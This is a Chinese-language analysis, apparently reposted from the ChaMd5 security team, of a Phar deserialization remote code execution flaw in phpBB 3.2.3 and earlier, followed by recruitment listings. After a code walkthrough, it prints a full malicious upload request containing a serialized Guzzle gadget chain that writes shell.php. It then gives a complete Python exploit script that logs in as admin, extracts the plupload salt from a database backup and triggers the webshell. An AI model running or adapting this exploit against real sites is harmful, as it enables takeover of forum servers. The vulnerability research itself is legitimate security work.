phpBB v3.2.X Phar反序列化远程代码漏洞分析

技术百科 admin 发布时间:2024-04-12 浏览:14 次

招新小广告

ChaMd5 ctf组 长期招新

尤其是reverse+pwn+合约的大佬

欢迎联系[email protected]

2月19日,Rips披露了一个已经在WordPress核心代码中存达六年之久的远程代码执行漏洞

当前,phpBB™ 已经成为世界上应用最广泛的开源论坛软件。

在phpBB v3.2.3及以前的版本中,控制管理面板设置路径的$_REQUEST[config]参数过滤不严格,和不严谨的switch语句,引发获取webshell的严重安全问题。

漏洞简介

攻击者若通过社工,弱口令,钓鱼等方式拥有控制管理面板权限,可先前台上传恶意附件,再进入后台控制管理面板利用设置中对路径的验证的功能,结合PHP phar 反序列化进行php对象注入,构造可用的恶意攻击链,获取Webshell。

漏洞条件

- phpBB v3.2.3及以前的版本

- 进入控制管理面板的权限

漏洞详情

漏洞关键

先看触发php phar反序列化漏洞的核心代码如下

文件位置:

phpBB3/includes/functions_acp.php::validate_config_vars

通过file_exists函数判断$path是否存在,此处若可以被我们上传PHAR归档包,文件路径若被我们可知可控,就可以通过phar://协议进行反序列化攻击。

漏洞分析

触发点分析

首先是载入的时候调用acp_attachments->main()方法

文件位置:

phpBB3/includes/acp/acp_attachments.php

关键函数为validate_config_vars函数,第一个参数为$display_vars[vars]来自上文的系统配置定义

第二个参数通过$_REQUEST接收,post发送数组参数config,被赋值成为$cfg_array

两个参数传入validate_config_vars函数,继续跟进。

文件位置:

phpBB3/includes/functions_acp.php

进入函数后使用foreach$config_vars进行遍历,键名为$config_name,键值为$config_definition

先对$cfg_array进行判断,也就是post数组中必须有和系统配置数组相同的键名的数组;然后又对键值的判断是否存在$config_definition[validate]。两个条件需要同时满足,不满足就跳过此变量循环,存在就对$config_definition[validate]进行分割为数组,并取第0个参数传进switch进行匹配,可以发现利用点在wpath分支里:

满足上文两条件并且$validator[$type]==wpath才能进入分支,对系统配置数组进行筛选,暂时发现只有键名为upload_path的数组满足条件。

但是在进入路径判断前有一个三元运算

经过判断$config_definition[validate]在数组之中

所以会走第一个分支

$cfg_array[$config_name]就是post数组变量

此处可控,但是会和$phpbb_root_path进行拼接。

文件位置:phpBB3/adm/index.php

因此拼接后的$path会变成./../xxxxxxxxxx

路径出错无法利用,如下。

但是这里的整个switch语句犯了一个较为低级的错误

部分条件的语句段没有使用break进行结束。

 switch 执行方式:开始时没有代码被执行。

仅当一个 case 语句中的值和 switch 表达式的值匹配时 PHP 才开始执行语句,直到 switch的程序段结束或者遇到第一个 break语句为止。如果不在case 的语句段最后写上break 的话,PHP 将继续执行下一个 case 中的语句段。

因此需要在$config_vars找到一个元素$config_definition

并且$config_definition[validate]等于absolute_path或者absolute_path_writable或者path

这样就能即进入wpath执行也不增加$path的前缀

使用如下代码过滤:

发现img_imagick元素满足条件:

进入控制面板的附件设定,提交并该修改数据包

数据包如下,关键点为config[img_imagick]参数:

此时已经可以触发反序列化,还需上传包含利用链的恶意附件。

上传恶意附件

上传位置为前台发帖附件处:

在这里函数handle_upload可以实现多个chunk处理。

$this->request->variable函数根据键名从请求中获取值,首先获取chunks的值,并判断chunk是否小于2,如果小于就直接返回,如果大于就开始进行多chunk处理。

然后进入关键的temporary_filepath函数:

这个就是计算上传文件路径的函数,

$this->temporary_directory可知为./files/plupload$file_name可控,\phpbb\files\filespec::get_extension($file_name)获取文件的后缀同样可控,比较麻烦的是$this->config[plupload_salt]存在于数据库中,但可以在管理面板中通过备份进行获取。

plupload_salt如下

此时已经完全可以计算路径

然后进入函数进行文件写入

中途会产生一个临时文件,但后面会删除,最后文件名还会增加.part后缀。

攻击数据包如下:

POST /phpBB3/posting.php?mode=post&f=2&sid=a3f8b226bd4ad508d8838284c0cfc332 HTTP/1.1Host: bugtest.comContent-Length: 1909Origin: http://bugtest.comx-requested-with: XMLHttpRequestx-phpbb-using-plupload: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuHMhmTMPyBMwbiEgAccept: */*Referer: http://bugtest.com/phpBB3/posting.php?mode=post&f=2&sid=52c63bf06fdeaef60de9b8fba1de97adAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="name"rai4over.zip------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="chunk"0------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="chunks"3------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="add_file"Add the file------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="real_filename"payload.phar.zip------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="attachment_data[0][attach_id]"16------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="attachment_data[0][is_orphan]"1------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="attachment_data[0][real_filename]"payload.zip------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="attachment_data[0][attach_comment]"------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="attachment_data[0][filesize]"35802------WebKitFormBoundaryuHMhmTMPyBMwbiEgContent-Disposition: form-data; name="fileupload"; filename="payload.phar.zip"Content-Type: application/zip<?php __HALT_COMPILER(); ?>ÕO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:42:"/Applications/MAMP/htdocs/phpBB3/shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}test.txtöìˆ\~ضtest¨~ê’÷z]©ägž­4GBMB------WebKitFormBoundaryuHMhmTMPyBMwbiEg--

至此我们已经对上传文件路径内容可知可控,还恶意文件中的利用链。

利用链

利用PHP网络请求插件Guzzle完成反序列化利用。

文件位置:phpBB3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

析构函数调用save函数,最后使用file_put_contents完成文件写入,整个漏洞利用完成。

利用脚本

python# coding =utf-8import requestsfrom bs4 import BeautifulSoupimport reproxies = { "http": "http://127.0.0.1:8080",}import hashlibdef md5(str): m = hashlib.md5() m.update(str.encode("utf8")) return m.hexdigest()if __name__ == __main__: target = "http://bugtest.com/phpBB3" admin_account = admin admin_pwd = 123456 phar_payload = payload.phar.zip upfilename = rai4over.zip r = requests.Session() data = { username: admin_account, password: admin_pwd, login: Login } print(Start logging in to the administrator account) rs = r.post(target + /ucp.php?mode=login, data=data) html = rs.text if (header-profile dropdown-container in html) and ("class=\"username-coloured\">" + admin_account in html): print(OK! The administrator account is successfully logged in) else: exit(No! Login failed . Probably because of the verification code) soup = BeautifulSoup(html, "html.parser") input = soup.find(input, attrs={name: sid}) sid = input[value] file = { fileupload: open(phar_payload, "rb").read() } data = { name: upfilename, chunk: 0, chunks: 3, add_file: Add the file, real_filename: payload.phar.zip } rs = r.post(target + /posting.php?mode=post&f=2&sid= + sid, files=file, data=data) if jsonrpc not in rs.text: exit(Upload fail) else: print(Uploading malicious file successfully) Admin_Control = target + /adm/index.php?sid= + sid print("Get Administration Control Panel URL :" + Admin_Control) rs = r.get(Admin_Control) html = rs.text soup = BeautifulSoup(html, "html.parser") input = soup.find(input, attrs={type: password}) passwd_id = input[id] credential = soup.find(input, attrs={name: credential}) credential = credential[value] data = { username: admin_account, passwd_id: admin_pwd, login: Login, redirect: ./../adm/index.php, credential: credential } rs = r.post(target + /adm/index.php?sid= + sid, data=data) html = rs.text if <title>ACP index</title> in html: print(Administration Control Panel login successful) soup = BeautifulSoup(html, "html.parser") div = soup.find(div, attrs={id: page-header}) sid = div.a[href][-32:] rs = r.get(target + /adm/index.php?i=acp_database&mode=backup&sid= + sid) html = rs.text soup = BeautifulSoup(html, "html.parser") input = soup.find(input, attrs={name: form_token}) form_token = input[value] input = soup.find(input, attrs={name: creation_time}) creation_time = input[value] data = "type=data&method=text&where=download&table%5B%5D=phpbb_config&submit=Submit&creation_time={creation_time}&form_token={form_token}".format( creation_time=creation_time, form_token=form_token) rs = r.post(target + /adm/index.php?i=acp_database&mode=backup&action=download&sid= + sid, data=data, headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"}) html = rs.text if phpBB Backup Script in html: print(Database download succeeded) matchObj = re.search(r"\(plupload_salt, (.*?), 0\)", html, re.M | re.I) if matchObj: plupload_salt = matchObj.group(1) print(Get the plupload_salt successfully :{plupload_salt}.format(plupload_salt=plupload_salt)) else: exit(Get the plupload_salt failed) else: exit(Database download failed) print(Calculate the name of the phar) name = "{plupload_salt}_{md5name}zip.part".format(plupload_salt=plupload_salt, md5name=md5(upfilename)) rs = r.get(target + /adm/index.php?i=acp_attachmenpartts&mode=attach&sid= + sid) html = rs.text soup = BeautifulSoup(html, "html.parser") input = soup.find(input, attrs={name: form_token}) form_token = input[value] print("Get form_token from Attachment settings:{form_token}".format(form_token=form_token)) data = "config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D={upfile}&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token={form_token}".format( form_token=form_token, upfile=phar://../files/plupload/ + name) rs = r.post(target + /adm/index.php?i=acp_attachments&mode=attach&sid= + sid, data=data) print(Get webshell succeeded)

参考链接:

- [phpBB 3.2.3: Phar Deserialization to RCE](https://blog.ripstech.com/2018/phpbb3-phar-deserialization-to-remote-code-execution/)

【本文来自 ChaMd5安全团队,文章内容以思路为主。

   如需转载,请先联系ChaMd5安全团队授权。

  未经授权请勿转载。】

ChaMd5安全招聘

腾讯安全平台部

http://www.chamd5.org/jobdetail.aspx?id=722 渗透测试/红蓝对抗安全工程师

http://www.chamd5.org/jobdetail.aspx?id=723 应急响应安全工程师

http://www.chamd5.org/jobdetail.aspx?id=724 应用运维安全开发工程师

http://www.chamd5.org/jobdetail.aspx?id=725 Windows安全开发工程师

http://www.chamd5.org/jobdetail.aspx?id=726 高级ddos后台研发工程师

上海擎智信息科技

http://www.chamd5.org/jobdetail.aspx?id=719 安全测试工程师(web渗透测试方向)

http://www.chamd5.org/jobdetail.aspx?id=720 安全测试员(社工信息收集方向)

http://www.chamd5.org/jobdetail.aspx?id=721 软件工程师(开发、逆向、漏洞挖掘方向)

开源网安

http://www.chamd5.org/jobdetail.aspx?id=715 技术支持工程师

http://www.chamd5.org/jobdetail.aspx?id=714 销售经理

http://www.chamd5.org/jobdetail.aspx?id=716 培训经理

http://www.chamd5.org/jobdetail.aspx?id=717 安全架构师

http://www.chamd5.org/jobdetail.aspx?id=718 高级安全工程师

VIPKID

http://www.chamd5.org/jobdetail.aspx?id=709 安全工程师/专家/高级专家(数据安全方向)

http://www.chamd5.org/jobdetail.aspx?id=710 安全工程师/专家/高级专家(运维安全方向)

http://www.chamd5.org/jobdetail.aspx?id=711 安全工程师/专家/高级专家(IT安全方向)

http://www.chamd5.org/jobdetail.aspx?id=712 安全工程师/专家/高级专家(业务安全方向)

http://www.chamd5.org/jobdetail.aspx?id=713 安全工程师/专家/高级专家(安全开发方向)

阿里本地生活服务平台

http://www.chamd5.org/jobdetail.aspx?id=703 信息安全专家/资深专家(安全架构)

http://www.chamd5.org/jobdetail.aspx?id=704 资深信息安全工程师/高级专家(人机识别)

http://www.chamd5.org/jobdetail.aspx?id=705 资深信息安全工程师/专家(合规)

http://www.chamd5.org/jobdetail.aspx?id=706 资深信息安全工程师/专家(渗透)

http://www.chamd5.org/jobdetail.aspx?id=707 资深信息安全工程师/专家(运维)

广州视源电子科技股份有限公司

http://www.chamd5.org/jobdetail.aspx?id=708 渗透测试工程师

哔哩哔哩安全应急响应中心

http://www.chamd5.org/jobdetail.aspx?id=702 安全运营工程师

在线咨询

点击这里给我发消息售前咨询专员

点击这里给我发消息售后服务专员

在线咨询

免费通话

24h咨询:400-5026888


如您有问题,可以咨询我们的24H咨询电话!

免费通话

微信扫一扫

微信联系
返回顶部